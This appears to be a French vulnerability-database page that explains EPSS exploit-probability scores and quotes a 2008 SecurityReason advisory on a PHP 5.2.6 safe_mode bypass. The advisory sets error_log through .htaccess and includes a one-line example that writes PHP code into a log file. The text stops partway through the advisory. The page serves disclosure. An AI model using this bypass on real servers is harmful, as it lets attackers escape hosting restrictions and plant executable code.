Descriptions

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

[ SecurityReason.com PHP 5.2.6 (error_log) safe_mode bypass ] Author: Maksymilian Arciemowicz (cXIb8O3) securityreason.com Date: - - Written: 10.11.2008 - - Public: 20.11.2008 SecurityReason Research SecurityAlert Id: 57 CWE: CWE-264 SecurityRisk: Medium Affected Software: PHP 5.2.6 Advisory URL: http://securityreason.com/achievement_securityalert/57 Vendor: http://www.php.net - --- 0.Description --- PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly. error_log They allow you to define your own error handling rules, as well as modify the way the errors can be logged. This allows you to change and enhance error reporting to suit your needs. - --- 0. error_log const. bypassed by php_admin_flag --- The main problem is between using safe_mode in global mode php.ini­: safe_mode = On and declaring via php_admin_flag <Directory "/www"> ... php_admin_flag safe_mode On </Directory> When we create some php script in /www/ and try call to: ini_set("error_log", "/hack/"); or in /www/.htaccess php_value error_log "/hack/bleh.php" Result: Warning: Unknown: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in Unknown on line 0 Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php on line 4 It was for safe_mode declared in php.ini. But if we use php_admin_flag safe_mode On in httpd.conf, we will get only Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php on line 4 syntax in .htaccess php_value error_log "/hack/blehx.php" is allowed and bypass safe_mode. example exploit: error_log("<?php phpinfo(); ?>", 0); - --- 2.
